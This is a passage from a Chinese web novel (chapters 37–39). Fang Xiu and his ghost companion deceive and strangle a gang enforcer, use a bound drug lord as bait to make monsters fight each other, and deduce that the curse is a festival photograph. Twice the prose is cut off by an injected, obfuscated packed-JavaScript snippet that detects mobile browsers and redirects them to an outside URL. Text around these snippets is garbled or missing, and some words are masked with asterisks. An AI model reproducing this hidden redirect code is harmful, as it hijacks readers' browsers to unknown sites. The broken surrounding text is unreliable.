麻子身后,无脸人们来来去去,天上焰火炸裂不停。万物影子映入巷内,被光照得纷纷乱乱,仿佛一场无声的狂欢。 老金脊背发寒,一时不敢出声。麻子如同一尊石像,仍然直愣愣地站在原地。 “刚才的人群有问题。那不是麻子,真正 的麻子被带走了。” 方休向前半步悄声嘀咕“金老板你在这里躲会儿我去处理。” 半晌方休像是下了决心:“关鹤我带走。要是我午时三刻前没回来你随便杀我的人。” 老金点点头 他有五帝钱隐藏自己还有照妖镜里的人备用没什么可担心的。横竖方休同伴都在这方休不至于逃跑。 老金顺道一瞥照妖镜里仍然没有方休的身影。 他安静地待在原地目送方休离开。 方休上前十几步走到麻子面前。 麻子空白的脸上没有表情但方休知道他还在惊疑不定地打量老金——打量十几步外脸上同样一片空白的老金。 隔着半条暗巷两个无脸人充满狐疑地“对视”。 这次方休背对老金冲麻子压低声音:“刚才的人群有问题。那不是老金真正的老金被带走了。” “千万别惊动他跟我走现在还赶得及!” 说罢他伸出手用力掐住麻子的手腕。 一听老板有危险麻子没有反抗两人快步离开巷子口。 就在麻子和老金彻底分开的一瞬白双影取消了两人的五官隐藏。 他们约定好了。方休捏捏他的袖子他隐藏敌人的脸。 白双影一开始只觉得这种要求莫名其妙只是一点小儿科的隐藏要怎么**? ……现在他隐约懂了点什么人类真的很阴险。 方休领着麻子迅速远离老金所在的小巷向街道彼端小跑。 麻子声音低沉:“你刚刚反应比我还慢如果老板出了事——” “我也不希望他死好吧都什么时候了。”方休果断回嘴带着麻子往另一个巷子里扎。 腾起的雾气遮住了他的笑意。 方休昨晚确定过此处的邪祟是一只黑蜃。黑蜃移动速度很慢外形像只腐烂的蚌。剩下的所有邪祟中它是最弱的。 但它最擅长幻术足够制造一处小小的鬼打墙。 两人周围雾气飞快蔓延。短短的暗巷飞快扩张变得蜘蛛网般无穷无尽。 环境扭曲变幻空气浑浊腥臭麻子很快察觉到了不对。最糟的是方休突然松开了他的手腕。 麻子猛地回过头:“喂姓方……” 他还没咋呼完声音就卡在了喉咙内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705268|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 方休就在他身后几步远脸上没有五官只剩一片空白。 破布蒙头的关鹤不知何时消失了灰蒙蒙的暗巷中仅有方休那一抹红色。 麻子脑后一凉。 这些年下来他最喜欢用拳头说话。 不管是同行还是警察只要对方有血有肉能打死 麻子从来不怕。他爱极了血肉飞溅时的惨叫,哪怕对面是邪祟,他也照打不误。 ……可要对面是幻象呢? ……他究竟是从什么时候开始,和真正的同伴走散的? 麻子咬紧牙关,一拳朝那无脸的红衣青年挥去。对面轻松后退几步,整个人轻飘飘地隐入雾气。 “白双影,再给你看点有意思的东西。隐藏之下,方休笑得十分惬意。 他松开自家鬼的手,指尖轻敲白双影的手背。 白双影垂下目光,轻松地控制隐藏—— 方休蹭蹭他的手背,隐藏方休的脸。 方休抓住他的手掌,隐藏方休的身形。 ……他都记得。 下一秒,紧绷的麻子身后,无脸方休再次出现。白双影衣袂飘飘,云雾般藏身其后。 啪。啪。啪。 方休轻轻拍着手。 随即他手一翻,抓牢白双影的右手。麻子刚回过神,那红色的身影便消失了。 “滚出来!麻子大步狂奔,妄图闯出这片蜃景。 啪。啪。啪。 他的左手边,无脸方休再次出现,轻轻拍打掌心。 麻子怒吼着冲上前,赤红人影再次隐入雾气深处,不留一丝痕迹。 啪。啪。啪。 麻子凌乱的脚步声中,两人的手时而拉紧,时而松开。方休指尖擦过白双影冰冷的手背,身影出现又消失。 一人一鬼在隐藏中轻快旋转,如同某种舞蹈。 啪。啪。啪。 啪。啪。啪。 啪。啪。啪。 伴随着鬼魅般的拍手声,方休没有脸的身形时不时闪现。 白双影眼看麻子从警惕到暴怒,再从暴怒到惊惧。他那捕食者般的自信无影无踪,只剩猎物似的慌乱。 “马豪犇,三十七岁,寅省籍贯。你给金老板当了二十一年的打手,亲手折磨并杀害三十五人,其中包含两位卧底警察…… “你手下的伤人事件更是数不胜数,想要你惨死的人可太多了…… 那声音空洞缥缈,时远时近。 “给我出来……出来……!操操操……掌声幽灵般逼近,麻子边喊边**。 他的声音里第一次出现颤抖。 **着**着,他后脚猛地一绊,摔进一堆绵软湿润的东西。盖子似的东西猛然闭合,腐臭扑鼻而来。 终于抓到邪祟本体,麻子立刻找回了一点神智。 被“幻象戏耍半天,麻子气红了眼。只见他全身肌肉鼓起,竟然硬生生撑开了那邪祟的壳子,徒手撕扯邪祟的软肉。 黑蜃不甘示弱,朝麻子狂喷带有尸毒的腐液。 妈的,那个见鬼的掌声没再响,果然是这玩意儿搞出的幻觉。 麻子怒吼一声,不再留力,与那黑蜃全力缠斗。作为擅长幻境的邪祟,黑蜃近战极差,眼看气息越来越弱—— 啪。啪。啪。 麻子全身一僵,控制不住地回头。 就在那一瞬,他的脖颈上多了条结实的塑料绳。 ……那是方休用来绑关鹤的塑料绳,麻子茫然地想。 意识到这件事的刹那,绳子猛然勒紧。 这回方休闪现在麻子身后。他与麻子背靠背,把整个人的体重压上绳子。麻子全身沾满滑溜溜的腐液,根本抓不住那条绞索,也甩不掉方休。 该死……和邪祟打得太久,使不上力…… 背后躯体温热,是活人……方休……一直都是方休要害他…… 麻子双眼暴凸,面色黑紫,喉咙里发出咯咯的声音。他想要折断方休的四肢,想要把方休的脑袋活活拧下来,可惜他双手徒劳地挥舞,什么都没能抓到。 疯狂挣扎了半分钟左右,麻子无力地歪倒在地,死不瞑目。 方休松开塑料绳,险些没站稳。 不愧是金老板的贴身打手。哪怕对付**之末的麻子,方休也差点没绷住——一通折腾下来,塑料绳把他的手都勒破了。 不过正好,方休蘸着自己的血画了个圈,当场宴请自家鬼。 “呼……要是只有我自己,只能引得人和人互杀……” 画完圈,方休往白双影身上一靠,整个人仿佛没了骨头,“真好,果然还是双人游戏花样多……” 白双影没有立刻去抓生魂,他若有所思地瞄了方休一会儿,轻轻点头。 不远处,黑蜃被麻子打得奄奄一息,无力再支撑幻境。 蜃景刚刚散去,方休连忙招呼僵在原地的关鹤:“快快快,趁那玩意还没死,你去给它两下。” 麻木的关鹤:“……” 他乖乖遵从指示,去黑蜃软肉上蹦了个迪。践踏之下,黑蜃追随麻子而去。 方休,一杀。 关鹤,一杀。 第一条禁忌的要求,至此满足。 此时,离午时三刻还有两个小时。 第 38 章 他的筹码 第38章他的筹码 【清场计划。】 杀完黑蜃,关鹤终于回过了神。 方休果然厉害。那个铁塔一样恐怖的麻子,居然被轻而易举玩**。方休自始至终就用了一手隐藏,顺便还让自己捡了个尾刀,效率高得惊人。 不愧是官方专业人员,真的很靠谱。 至于方休和老金说的“地府养鬼仙”、“血债选祭品”,关鹤压根不信。老金是个死不足惜的毒贩,方休肯定在糊弄人。 关鹤跑去附近店里看了看表,满脸兴奋道:“方哥,现在不到十点,咱们还有两个小时!” 现在他们的敌人只剩老金一个了! 自己有五鬼搬运术,起手就能把照妖镜偷过来。没了麻子和照妖镜的老金,就像没了爪牙的老虎。他和方休两个年轻男性,怎么也控得住四五十岁的老金! 他们已经赢了,关鹤心想。 然而方休只是吐了口气,顺着地上的血泊捞了捞:“来小关,吃点心。你早上吃得太少啦。” 关鹤:“……” 关鹤决定换个说法:“方哥,离午时三刻就剩两个小时了。等把人救出来,大家还得一起杀邪祟……” 方休:“为什么要救?” 方休身边,白双影悠哉悠哉地揉捏麻子生魂。此鬼瞄着巷子口的广告牌,正往生魂月饼上捏“中秋佳节”四个字。 月色之下,一红一白两道身影挨在一起。两位从头到脚散发出悠闲的气息,明摆着不打算挪窝。 关鹤看得呆住:“?” 这种时候了,还不救自己人?为什么? 方休笑了:“小关,假设你是老金。午时三刻眼看要到,我还没出现,你会干什么?” 关鹤不假思索:“**。” 目前剩的邪祟都挺强,老金不可能单枪匹马去杀邪祟。 “那么镜子里四个人,你会先杀谁?” 关鹤皱眉:“成、成阿姨……?” 成松云年纪大个头矮,还和自己一起被老老实实绑了大半夜。老金那种人,绝对会挑最弱的对象下手。 说着,关鹤突然反应过来,“但是成阿姨有怨鬼盾。” 方休笑得更开心了:“然后呢?” “然后……然后,老金发现自己打不破怨鬼盾,肯定不敢再浪费时间。接着他会放出梅岚……”关鹤继续推断。 除开成松云,镜子里两男一女,老金自然知道谁最好对付。 “是的。成姐的盾可以额外保护一个人,而且怨鬼盾不吃法术,她们不会再被收回镜子。”方休说,“再然后呢?” 关鹤摇头:“……我不知道,但我觉得老金不会放了黄毛和贾旭。 ” 放两个失败两个,老金不是傻子,不会蠢到把剩下的人放出来——那不成了葫芦娃救爷爷了吗? “……再然后,老金会原地等待犯忌。”方休伸了个懒腰,轻快地解释。 “‘单挑邪祟’和‘继续放人’的风险都太高了。他肯定会想,不如就这么守着,大不了大家一起犯忌。” “哪怕都是虚弱状态,他的体力也比成姐和梅岚强,赶紧弄死一个就行。” 关鹤听得发愣:“可是成姐……” “是的,老金不知道,怨鬼盾并非成松云自己的法术。它由怨鬼支撑,只会制造恐怖幻觉,并不会耗损成姐的体力。” “只要成姐维持清醒,怨鬼盾就不会破掉。成姐意志力不错,相信她吧。” 关鹤默然。 当初方休把成松云送进镜子,原来是为了狠狠坑老金一把。 用骗术离间老金和麻子,这边借刀**,那边自取灭亡。为此,方休连同伴都利用……这位官方人员,是不是有点凶残过头了? “我也没办法。” 方休恰到好处地开口,“如果现在和老金对峙,老金就算拼着犯忌,也不会放人。他那种人最清楚,一旦失去谈判筹码,他只能等死。” 关于老金“镜子关人”的技能,方休求教过白双影。 然而他的鬼只是盯了他好一会儿,表示死物的法术设置容易看穿,人类的缺德操作神鬼难测,于是方休只能作罢。 想着想着,方休忍不住叹气:“……老金会说一旦他**,大家就困死在镜子里,以此要挟咱们保护他。这事难说是真是假,可不能冒险。” 关鹤迷惑:“按方哥你的法子来,他也不会放了黄毛和贾旭啊?” 方休叹气叹得更大声了:“能救一个是一个。我又不是菩萨,不保证普度众生。” 关鹤:“……” 道理是这个道理,他怎么觉得方休有种“那俩**无所谓”的微妙态度。 ……错觉吧,他想。 两人你一言我一语间,白双影完成了他的月饼。 生魂雪白滚圆,上面带着精巧花纹,像极了外面摊子上的冰皮月饼。白双影觉得形状确实蛮重要,折腾了十几分钟,现在他更期待了。 他矜持地拿起月饼,轻咬一口。 不愧是血债累累的打手,麻子比眼镜和大顺更有滋味。 如果说大顺滋味丰富口感柔和,麻子就是那种直截了当的鲜美。那味道热烈极了,仿佛在口中**,让鬼吃了一口还想吃下一口。 生魂滋润着他枯朽的身体,白双影感觉好受了一点点,连带着身边的人类都顺眼了几分。 不得不说,他的人类真是挑选生魂的一把好手 。 方休察觉了自家鬼的视线,脑袋顺势一仰,笑嘻嘻地与白双影对视。 “说起来,半山硬实力还没攒够,怎么就得到了厄的认可?……按山混子的说法,修厄不是更难吗? 福老儿修厄十年才修成村长,一朝破功气得发疯。 这条街设计风格还算新潮,绝对是十年内建造的。半山的修行时间更短,却已经搞定了厄。 半山实力不容小觑,方休不想在这个当口掉以轻心。 白双影回忆片刻。 哦,半山,那个半步鬼仙。 “邪祟修厄,也要看合不合拍。 白双影品味月饼,好心情地解释道,“曾有人类猛将怀抱执念,血战而死。那个将军化了厉鬼,手中爱剑则化了厄。 “将军一生与爱剑出生入死,当场得了认同,飞升鬼仙。 方休懂了,别的厉鬼都在挤独木桥,这位将军算是直博。 “所以邪祟越能理解厄的因果,越容易修厄。 方休总结,“也就是说,这事儿还要看相性。寻常邪祟‘遵循表面规则’,算是没有办法的办法。 相性不好,约等于骗子操着南方口音装北方老人的孙子,根本地狱难度。 有的鬼十年下来仍是村长,有的鬼十年不到跳级修仙。真是人比人得死,鬼比鬼得活啊。 “你为什么突然问这个? “嗯……我刚才在想要不要抓半山给你吃。现在看来,果然还是算了吧。方休小声说。 白双影吃月饼的动作瞬间停住:“你怕它? “不,不是因为这个。 方休摇头,表情少见地严肃。他靠着白双影的肩膀,看了好一会儿月亮。 “白双影,待会再陪我逛一次街,可以吗? “嗯。 …… 午时三刻。 老金愤恨地瞪着怨鬼盾。他匍匐在地,左手紧握五帝钱,右手抓着照妖镜。 事到如今,他知道自己又被方休耍了。 是,方休可能真的有事耽搁回不来,但那小子专门把这个成松云送进镜子,摆明是要搞他—— 眼看时间要到,他果断选了成松云来杀,结果那龟壳盾敲都敲不开。于是他又召出那个年轻女的,结果那女人还没反应过来,就被成松云拉进了法术盾,一套操作行云流水。 他根本破不了那个鬼气森森的盾! 老金吃了一大口闷亏,只好原地犯忌,开始拼体力。 不管这盾怎么回事,他就不信那俩娘们能在里面撑到死——人总要吃饭喝水,他随身带了点吃喝,她们没有。 他还有五帝钱护身,邪祟发现不了。只要冷静下来坚持住,他还可以赢 …… 老金努力平复呼吸眼底泛出一丝狠劲。 黑吃黑这么多年老金没指望道上的人讲信义但方休也太莫名其妙了。 方休手握死忌情报他抓着方休的同伴他们明明可以和平谈判。方休硬跟他翻脸根本没有任何好处。 难不成那小子生性不计后果非要当根搅屎棍? “金老板天呐你这是怎么了?” 突然一道让老金两眼一黑的声音响起。 方休红衣染血姗姗来迟身边不见关鹤和麻子的身影。 老金艰难地撑起头冲方休啐了口:“你说呢?” “我哪知道啊。哎这镜子太沉我来帮你拿。” 方休一边说一边慢条斯理地抠老金的照妖镜 他抬起镜子斜着眼使劲瞥镜子里仍然没有方休的身影。 怎么会? 这个人怎么骗过的地府道具?要不是镜子没预警他也不会轻信这小子…… “别看了没用。”方休拍拍他的手“你打扫垃圾的时候会对垃圾有敌意吗?” “垃圾只是垃圾清理干净就行。” 他这话说得极为理所当然语气里没有憎恨也没有杀意。 老金无力地松开镜子。狗屁的黑.道士黑.道士可没有这么异常! 这小子自称黑.道士根本是看准了他们不懂玄学方便抢走主动权。 一想到自己和麻子被此人耍得团团转老金咔咔磨牙:“你不是黑.道士……你到底……” 方休抬头认真道:“其实我是医院保洁。” 老金憋屈得眼前冒金星:“操……” 一个犯忌的老金到底拗不过状态正好的方休。小小的铜镜很快就被方休拿到手方休随手抛接玩得还挺起劲。 老金:“我……说过……” “嗯嗯嗯你说过我拿到也放不出人来。”方休敷衍道“你接下来是不是要说哪怕我杀了你也解不开法术?” 老金:“……” 老金:“……是。” 他从没有这么想杀一个人奈何麻子不 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对了这小子确实是个玄学高手。 老金咽了口唾沫一颗心猛地一沉他仿佛听见了筹码碎裂的声响。 不打住。他混乱地想。方休没杀他说明他还有用他还能坚持…… 不到最后一刻他绝不会把镜子里的人放出来。 …… 白双影有点拿不准方休想要做什么。 不久前成松云和梅岚解除了犯忌状态被方休安排回据点。他只要她们吃点东西好好休息一副一切尽在掌握的模样。 而此时此刻他和方休再次走在热热闹闹的街道上。 两人并肩前行步子不快不慢完美融入欣赏夜景的无脸行人。 两人身后跟着一个迷茫的关鹤关鹤拖着一个更加迷茫的老金——老金四肢被塑料绳绑着嘴里塞了破布 半山则不远不近地跟着他们始终没有出手的意思。 白双影懒得再驱赶半山他脑袋里的问号太多剩余的精力只够逛街。 这条街和他们初来时一样繁华电子屏幕上闪烁着鲜艳的广告。纪念品店里光华璀璨奶茶店飘出甜美的桂花香气。 令人愉悦的音乐里奶茶里的珍珠缓缓沉底棉花糖机不停旋转。烧烤摊上的年轻人们愉快干杯父母让孩子坐上肩膀。街道上一派和平一如既往。 方休挽着白双影的袖子烟花倒影在他的眸子里炸开。 白双影能隐约感受到方休的不舍。方休一刻都没松开他的衣袖一遍遍向他解释那些新奇的细节就像这是他们最后一次逛街。 真奇怪方休看起来竟然比他还舍不得离开。 “我们来玩个新游戏。” 逛完整条街道方休接过老金的牵绳笑吟吟地转向自家鬼“白双影你知道‘新郎新娘咬苹果’的游戏吗?” 白双影诚实摇头。 方休热情地比划:“找人用绳子吊着苹果悬在两位新人面前让他们一起咬再趁机抽走——” 白双影:“?” 见自家鬼没接住梗,方休失落地解释:“然后新郎新娘就亲上了呀。” 白双影皱眉:“嘴对嘴有什么意思?” 在他的概念里,“嘴巴”就该用来攻击或进食,拿来干别的就很奇怪。 方休也噎住了:“……其实我也不知道,我没亲过。” 不过很快,方休又恢复了兴致,“总之,我打算玩这个咬苹果游戏。” 举手之劳,不是不行。 于是白双影凑近方休的脸,又突然顿住:“你准备好苹果了吗?” 这会儿白双影微微躬身,长发水一般滑动。那双白眸盯住方休的嘴唇,两人鼻尖几乎相碰。 方休张口结舌,脸皮慢慢变成了红色,仿佛要亲自表演苹果。 几秒后,他用力甩头:“不是不是不是,不是咱们两个玩——是老金,我们用老金当苹果,去钓那些大邪祟然后让它们自相残杀这样不是很有意思吗?” 明明是无比狠毒的计划,却被方休说得像儿童顺口溜。 他语速极快,最后还咬了一下舌头。 白双影注意力迅速转移:“可是我不想吃邪祟。” 又一次午时三刻过去,此地大邪祟还剩六只。但他正等着品尝老金的生魂,那些邪祟暂时勾不起他的胃口。 方休用力拍了会儿胸口,脸上红潮褪去:“唔,咱们得把那些邪祟全弄死,才方便去找半山。” 白双影沉思。 半山一直不出手,要么是打定主意准备坐收渔利,要么是优先保护此处的厄。 方休想要先行清场,是怕和半山打起来,其他邪祟趁机过来碍事吗?不错,这份谨慎值得赞许。 “所以这一回,你准备先除掉半山,再破坏这里的厄。”白双影总结道。 方休闭了闭眼。 “差不多吧。”他小声说道,“你就当我在攒筹码。” 时隔许久,白双影又一次在方休脸上看到了悲哀的神色。 第 39 章 中秋留念 第39章中秋留念 【禁忌之三。】 夜色之中,一个干瘦身影摇晃前行。 它身长两米以上,穿着几百年前的破蓑衣。这邪祟须发皆白,整张脸上只有一个深深的黑洞。 无脸人群之中,它缓缓扭动脖子,找到了狩猎目标—— 一个被绑在地上的人类。 那人类全身都是伤口,一条腿摔断了,另一条腿的小腿被咬掉。 他放弃似的瘫着,有气无力地喘息,鲜血的气味格外诱人。蓑衣邪祟知道,只要杀了这个人,明天就无需承受衰弱之苦。 它隐藏气息,尺蠖似的弓起背,骤然弹向那个脆弱无助的人。 嗖! 就在它扑上去的瞬间,暗处绳索一拉,那人突然整个消失。 同一时间,对面人群中射出一条青绿巨蛇,两只邪祟正面撞在一起,发出一声闷响。 蓑衣邪祟想要后撤,巨蛇却当场犯了路怒症。它嘶嘶吐着信子,飞快缠绕上来。于是蓑衣邪祟前倾颅脑,面部空洞中喷出大量青白寒气,迅速冰冻面前的蛇身。 顷刻间,这次不幸的交通事故变成了生死之战。 巨蛇猛绞蓑衣邪祟,后者撕裂冻硬的蛇皮。附近寒气四溢,地面结了一层冰霜,冰屑与黑血齐齐飞溅。 十几步外,方休兴高采烈地看热闹:“撕得好,再撕响些! 白双影:“…… 他最初设计隐藏之术,只是为了不高兴的时候直接避世。 结果和方休待了不到十天,他就见识到了“隐藏的一百零八种缺德用法。 这个人类还能玩出什么乱七八糟的花样?白双影甚至生出了一点期待。 不过,这已经是步行街最后两只邪祟了。 正如白双影不懂嘴对嘴的趣味,邪祟们同样不能理解。一旦脸对脸撞上,它们不会步入洞房,只会挑起一场血战。 老金很好地履行了“阴间苹果的职责,成功把两对大邪祟送去黄泉。 两人身后,关鹤欲言又止:“方哥,不留几只活口吗,万一时间不够…… 方休前脚离间人类,后脚挑拨邪祟,突出一个人鬼平等一网打尽,看得他有点心惊。 方休:“放心,这里的‘厄’不难解。 关鹤眼睛一亮:“我懂了,方哥你现在还不走,是想把黄毛他们救出来! 他就知道,方休到底是官方的人。他嘴上说不要普度众生,其实还是心软嘛。 这次欲言又止的人变成了方休,他无奈地看了关鹤一会儿:“你这么想……也行吧。 时间一分一秒过去,对面两只邪祟的战况越来越颓。 它们势均力 敌拼了个两败俱伤。受伤至此谁都舍不得沉没成本还在你一下我一下回合制拉扯。 方休把老金牵绳给了关鹤 白双影跟着起了身。 他闲得发梢发痒决定当个好朋友主动帮方休解决另一只。 结果白双影刚要跟上就被方休按住胸口。 “它们是我的你不要插手。”方休很认真地说。 白双影看了看方休纤细的手臂把不解全堆在了脸上。方休仿佛被挑衅了他严肃地曲起手臂:“别看我这样我有肌肉!” 白双影丝毫不给他留面子:“关鹤拖老金都比你轻松。” 方休假装没听见挥舞着他的饮料钝器:“总之你别插手看我展示什么叫猛男——” 白双影无奈地停住步子旁观方休用易拉罐降妖除魔。 可怜两只大邪祟被那个人类骑在头上一下下猛砸有苦说不出。 眼前的景象与其说是鹬蚌相争渔翁得利不如说是渔翁械斗蚌去捡漏。至少人家蚌还有个蚌壳方休只有一身软肉。 ……说起来之前四只大邪祟也是被方休杀死的。 每次方休都是兴冲冲上前再吭哧吭哧砸上半天突出一个绳锯木断水滴石穿。 哪怕邪祟们伤得奄奄一息方休还是无法把它们一下子送走**过程很难说是补刀还是拷问。一路瞧下来白双影有种看小兽咬肉嚼不烂的疲惫。 半山也在不远处看着也不知道那位半步鬼仙是个什么心情。 …… 终于步行街上除了半山再无其他邪祟。 方休没有急着去找半山。 他往花坛旁边一坐一边喝饮料休息一边闲聊似的问:“小关你弟弟那场事故你介意详细说说吗?” 他声音非常清晰没被嘈杂的音乐盖过。 关鹤脸上的轻松消失了。他抿了抿嘴表情又显出几分阴郁。 “不介意。”他小声说。 关鹤家住癸省奉州市离方休居住的泰易市不远。 关鹤六岁那年关鹤的父亲因车祸去世。那时母亲正怀着弟弟一家人的生活水平急转直下。 弟弟出事那天是关鹤的十一岁生日。 母亲前一年忙着工作忘记了关鹤的生日。这一年直到晚上母亲也没回家关鹤一赌气索性带着弟弟离家出走。 说是离家出走其实不过是小小的**。弟弟实在太小他本打算在外面待会儿就回家。 当时天色晚街边在卖亮闪闪的灯串气球。弟弟看得走不动路吵着想要买一个。关鹤见卖气球的摊主要走街 上又没什么车,便牵着弟弟闯了红灯。 关鹤步子大,弟弟抓着他的手,稍稍落后半步。 肇事的那辆车严重超速,弟弟身影消失的刹那,关鹤只感觉手里一空,甚至没能反应过来。 这场车祸,又一次摧毁了关鹤的家。 母亲依旧忙着工作,没了弟弟的关鹤开始住校。 母亲还是会给他生活费,供他读书。但从那一天开始,除了年关的简单问候,他与母亲几乎不再交流。 包括中秋,尤其是中秋。 关鹤想,妈妈一定是恨他的。 **如何与母亲相处,他的母亲也不知道该怎么面对儿子。日子就这么稀里糊涂地过了五年,如今,十六岁的关鹤被拉进了解厄塔。 方休侧着脑袋听完:“你是故意带弟弟闯红灯的吗?” “什么?”关鹤完全没反应过来。 “你弟弟出生后,你的生活变得非常糟糕。你需要额外照顾弟弟不说,你妈妈肯定也更关注你年幼的弟弟……你带着弟弟闯红灯的时候,有没有希望你弟弟消失?” 关鹤的呼吸因为愤怒而急促:“当然没有——!” “我知道了,抱歉啊。”方休诚恳地表示,“那个开车的毒贩呢,你记得他的名字吗?” “杜保财。”关鹤立刻回答,“他已经被**了。” 听到这个名字,方休眉毛动了动。 他没听说过这个名字。但不得不说,这姓氏有点意思。 关鹤还是有些生气,念着方休的身份,他勉强保持了克制:“我很喜欢我弟,我从没想过让他消失。我妈不着家,我们两个算是相依为命。” 说着,关鹤做了个深呼吸,才让声音不至于太过颤抖。 “我为什么要恨他?他才四岁,他还什么都不懂……他恨我还差不多……” “是报应,”他忍不住喃喃,“我被带到这里,肯定是报应……” “怎么可能,你罪不至此。” 方休拍拍他的背,“我只能说,祭品的筛选机制确实存在漏洞。” “祭品的筛选机制?”关鹤抬起眼。 “是啊,你看咱们这一路都碰到些什么货色。这不可能是巧合,地府肯定有一套选择标准。” 方休用脚尖踢了踢老金,“最开始我猜,标准是‘人命债’。” “……难道不是吗?”关鹤又垂下目光。 “你想,很多英雄也杀过人。要是地府敢抓阳间英雄当祭品,阴阳两边早打起来了。” “可是目前,阳间根本睁一只眼闭一只眼。实际的基准应该严格点儿——比如背了人命因果,但不带功德。” 人命因果,不带功德。 靠这一条筛选,能够筛出为了 私欲害人的人以及意外致人死亡的罪魁祸首。 地府带上后者也蛮好理解—— 某些人高空抛物砸**某些人酒后驾车撞**;自大父母把孩子带到危险区域致其意外身亡;卑劣小人歪曲事实引导**逼得他人**。 这些人没有明确的杀意阳间法律也不会按照**判。但就因果报应而言说他们没沾血债确实也说不通。 说到底“厄”总要活人解决。对于阳间来说这些人已经是“相对划算的代价”了。 所谓消灾解厄的“祭祀”大概是阴阳两界各退一步的结果。 然而世间血债千千万不可能每选一个祭品阴阳两界就来个联合审判。于是关鹤这种人成为了规则中的可悲误差。 关鹤听得很认真他没什么太大的反应十分平静地接受了现实。 兴许是在负罪感中挣扎太久他并不觉得多么冤屈。 方休拍拍关鹤的肩膀喝光了手里的饮料。 “……所以哪怕是这样的情况您也能接受吗?在您看来这孩子应当死在这里吗?” 方休把罐子往垃圾桶里一丢突然提高声音“您一直在听吧准鬼仙大人?” 白双影下意识看向半山的方向方休瞧了眼自家鬼也跟着调整面向。 然而天上圆月皎皎街上熙熙攘攘天地间无人回应。 “我只是想跟您面对面聊聊。” 方休叹了口气继续“我随时可以解厄但不想不告而别。” “您应该知道一旦解了厄地府会无条件保护我们。到时您只能束手无策……我觉得您不该落得这样的结局。” 半山仍然隐藏身形没有回应。 白双影见状戳戳方休:“比起这些空话你不如多说点事实。半山瞧了你一路你觉得它能对你有几分信任?” 方休:“……”什么意思你讲清楚! 但白双影这么一说他好像真的很难反驳。 半晌方休委屈地揉了揉脸小声唔了声:“好……” 方休这架势实在不像准备干仗。揶揄归揶揄白双影挺好奇接下来的发展。 不过以防万一他还是默默护在方休身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705270|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后决定见势不对把人提溜走。 只见方休一只脚踩上血肉模糊的老金拿出了老金的镀金打火机。 噗呲。 火苗燃起小火团再次飞舞。然而方休刚杀完邪祟皮肤汗湿灼烫伤害比之前弱许多。 方休注视着跳动的火苗并没有熄灭火焰。 “动之以情没用那我晓之以理了。” 方休做了个深呼吸 同,从点火到小火团出现,总有一个微小的时间差。” “这不是禁忌,是你用来误导我们的法术,对不对?” 说罢,他笑了笑。 “很聪明的做法。毕竟要是有人发现了‘第三条’……不,真正的‘第一条’禁忌,很容易猜到厄的本体。” “可惜我已经发现了第一条禁忌。你这么强调禁火,只会让我更肯定我的猜测。” 嗤啦嗤啦,火团持续灼烧着方休的皮肤。打火机变得滚烫,方休却仍然点着那团火。 听着方休冲虚空说个不停,关鹤彻底迷茫了:“什么叫真正的第一条禁忌……第一条禁忌不是‘午时三刻到,纳命一条’吗?” 方休:“我们正式进入祭祀前,二楼环境会和祭祀场地适配,小关你应该有印象。” “是有这回事。”关鹤回忆了两秒。 “这次祭祀,二楼变成了居民楼的楼道,入口还是老式楼道门。但是这条步行街,和居民楼没有半分关系。” “我们进入祭祀时,出现了奇怪的‘天旋地转’和‘静止现象’。比起地府搞错祭祀主题,我倾向于‘厄’把我们从真正的场地转移,困在了异空间。” 方休声音柔和清亮,传得很远。 “更有意思的是,厄本该吸引各种各样的邪祟,这里的邪祟却个个残暴嗜血,明显被挑选过。我们这些‘罪人’则由地府精选,生魂寄宿在法器上,也算半个邪祟呢。” “厄痛快地把大家关在这里,我想,第一条禁忌其实是‘邪祟带命债,不得离开’。” “再加上‘午时三刻到,纳命一条’的禁忌,这里变成了完美的处刑场。危险分子们快快乐乐自相残杀,一个都跑不掉。” 说到这,方休毫不避讳地露出了赞同神色。 “……很奇妙对吧?好消息,这里的‘厄’在保护无辜者。坏消息,它正在从‘我们’手里保护无辜者。” 关鹤急了:“你确定这里是异空间?大家被关着怎么找厄啊?” “小关,想想看。这条街道除了幻境,还像什么?” 面对隐匿身形的半山,方休的声音越发响亮。 关鹤咽了口唾沫,努力整理思绪: “这个场地很小,边界很奇怪,和上次祭祀完全不同。” “这里没有白天,天上一直是满月,街上一直是中秋节……” “这里的食水没有味道,往来行人都是虚影,只会重复同一个行为。” 方休晃晃打火机:“嗯,我再补充一个——每到血夜,外界景象全部凝固,还有一张大脸从天上往下看,被看到可是会死的。” 永不结束的中秋夜晚,动辄定格的幻影世界;从天上窥视的巨脸 ,再加上那条“此地禁火”的假禁忌…… 不会吧,这里难道是…… 关鹤愣愣地看向方休。 方休手中,打火机依旧静静燃烧。 小火团的灼烧却不知何时停下了,它们飘动在方休身边,就像小小的萤火虫。 仿佛听见了关鹤的想法,方休心平气和地继续—— “异空间这么真实,不可能凭空生成。我猜祭祀一开始,我们就被关进了一张照片。” “另一方面,厄的规则全部基于此地运行……我想,这张中秋节的照片,其实就是‘厄’本身。” 方休脚下,老金虚弱地哼哼两声。 关鹤表情渐渐变了:“可、可街上的人都没有脸……” “这件事,老金怕是更清楚——有那么一群人,他们力求保护无辜者,还知道在照片中露脸,会引来杀身之祸。” ……要怎样合情合理地破坏一张照片呢? ……很简单,点燃就可以了。 